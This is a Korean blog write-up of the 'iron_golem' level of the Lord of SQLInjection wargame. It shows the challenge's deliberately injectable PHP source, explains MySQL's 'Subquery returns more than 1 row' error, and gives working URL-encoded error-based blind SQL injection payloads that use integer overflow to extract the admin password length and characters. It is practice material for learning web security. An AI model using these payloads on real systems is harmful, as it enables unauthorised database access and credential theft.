<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
처음엔 Time-based Sql injection로 풀어야 하나 싶었다.
sleep과 benchmark가 막혀있길래, 헤비쿼리로 어떻게든 풀려고 했으나 헤비쿼리를 만드는 데 한계를 느꼈다.
그래서 다른 분들의 글을 참고하니, Error based Sql injection 이라고 하셨다.
풀이에는 알아본 바로는 두 가지 정도가 있었다.
1. if(조건, (select 1 union select 2), 0)
-> select 1 union select 2가 결과로 두 개 이상의 행을 리턴하므로 오류가 생긴다고 한다. 이 부분이 조금 의아했던 것은
저 자리에 다른 컬럼명들을 넣어줬을 때는 잘 실행되기 마련이였기 때문이다.
이유를 들어보자.
select 1 union select 2가 저 상황에서 오류가 되는 이유는 두 개 이상의 행을 리턴하기 때문이다.
mysql> select 1 union select 2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)
그런데 다른 컬럼명들을 넣어주는 경우도 아래와 같이 여러 행을 갖는다.
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)
mysql> select maker_id from book;
+----------+
| maker_id |
+----------+
| 1 |
| 1 |
| 2 |
| 3 |
| 1 |
| 4 |
| 5 |
+----------+
7 rows in set (0.01 sec)
똑같이 두 개 상의 행인데
전자는 안되고
mysql> select * from book where id = if(true, (select 1 union select 2), 0);
ERROR 1242 (21000): Subquery returns more than 1 row
후자는 된다
mysql> select * from book where id = if(true, (select maker_id), 0);
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
+----+-------------+---------------+----------+
1 row in set (0.00 sec)
더 확실하게 보면
mysql> select * from book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
| 7 | hi | hi | 5 |
+----+-------------+---------------+----------+
7 rows in set (0.00 sec)
mysql> select * from book where id = (select maker_id);
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
+----+-------------+---------------+----------+
1 row in set (0.00 sec)
mysql> select * from book where id = (select maker_id from book);
ERROR 1242 (21000): Subquery returns more than 1 row
보시다시피 위는 되는데 아래는 안된다. 뭔차이일까. 서브쿼리에서 테이블명을 생략하고 안하고의 차이 뿐인데..
특히 maker_id를 그냥 넣은 것도 아니고 select maker_id로 해줬는데...
전자의 경우 모든 레코드를 차례로 돌면서 검색할 때 id에 따라 maker_id가 같은지 검사하는 느낌이라면
(ex, 1행의 경우 id = 1, maker_id = 1 / 2행의 경우 id = 2, maker id = 1... 즉 1 = 1 느낌)
후자의 경우는 id가 maker_id 7개 전체와 같은지 검사하는 느낌이라고 보여진다.
(ex, 1행의 경우 id = 1, maker_id = 1,1,2,3,1,4,5 )
즉, 컬럼명을 넣을 때와는 느낌이 다른 것 같고, (select 컬럼명) 이런 식으로 넣어주면 컬럼명으로 똑같이 인식되나보다.
전자는 컬럼명을 넣어준 것과 다름없고, 후자는 새로운 데이터 전체를 넣어준 것이다.
컬럼명을 넣어주면, 쿼리 실행 과정에서 레코드를 찾으면서 연산 시 각 레코드에서 해당 컬럼의 값에 대해 참조되는 방식이라면(1대1)
새로운 여러 데이터를 넣어주게 되면 비교가 1 대 1이 아닌 1 대 다수가 되어서 오류가 나오는 것 같다.
검색을 할 때 모든 레코드를 대상으로 차례로 검색해나가게 될 텐데, id = maker_id 라는 식을 갖는다면
각 레코드에서의 id 값과 maker_id 값이 같은지를 비교하게 되는데에 비해 id = (select maker_id from book) 이라면
현재 하나의 행에서 다수 개의 행과 같은지를 비교하게 되니 오류가 나온다고 보는 것이다.
여태, 컬럼명 자체는 그 자체만으로 해당 컬럼의 모든 레코드를 소유하고 있는 상태를 의미한다는 생각을 갖고 있었는데,
데이터베이스에서 검색 시에 결국엔 모든 레코드를 대상으로 연산해줘야 한다는 점을 미루어,
컬럼명을 넣어주면 현재 각 레코드 위치의 컬럼 데이터를 의미하게 된다고 보면 더 좋을 것 같다.
->
검색 시, id = 7 을 찾게 된다면
레코드 1부터 끝까지 차례로 검색해나가며 id 컬럼 데이터가 7인 데이터를 찾게 된다.
마찬가지로, id = maker_id 를 찾게 된다면
레코드 1부터 차례로 검색해나가며 id 컬럼 데이터와 maker_id 컬럼 데이터가 같은 데이터를 찾게 된다.
따라서 id = 다수개의 행 데이터 라는 식이 세워지면 오류가 나오게 된다.
각 레코드에서 비교를 해내감에 있어서 오류가 생기게 된다.
그리고 다시한번 보지만, select ~ from 사이는 컬럼 제한이고 from 이후가 레코드 제한이다.
--------------------------------------------------------------------------------------
다른 방법으로는, 컬럼에 들어가는 자료형에 오버플로우를 넣는 방법이 있었다.
이 분의 방법을 토대로 문제를 풀 수 있었다.
pw=1%27%20or%20id=%27admin%27%20and%20if(length(pw)=32,%200xFFFFFFFFFFFFFF*0xFFFFFFFF,%200)%23
-> pw 길이는 32
pw=1%27%20or%20id=%27admin%27%20and%20if(ascii(right(left(pw,1),1))=48,%200xFFFFFFFFFFFFFF*0xFFFFFFFF,%200)%23
-> 첫 자자리는 아스키코드 48 = '0'
이런식으로 프로그램을 돌린다.
query : select id from prob_iron_golem where id='admin' and pw='06b5a6c16e8830475f983cc3a825ee9a'
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] HELL_FIRE (0) | 2021.02.01 |
---|---|
[LOS] DARK_EYES (0) | 2020.12.30 |
[LOS] DRAGON (0) | 2020.12.28 |
[LOS] XAVIS (0) | 2020.12.27 |
[LOS] NIGHTMARE (0) | 2020.12.25 |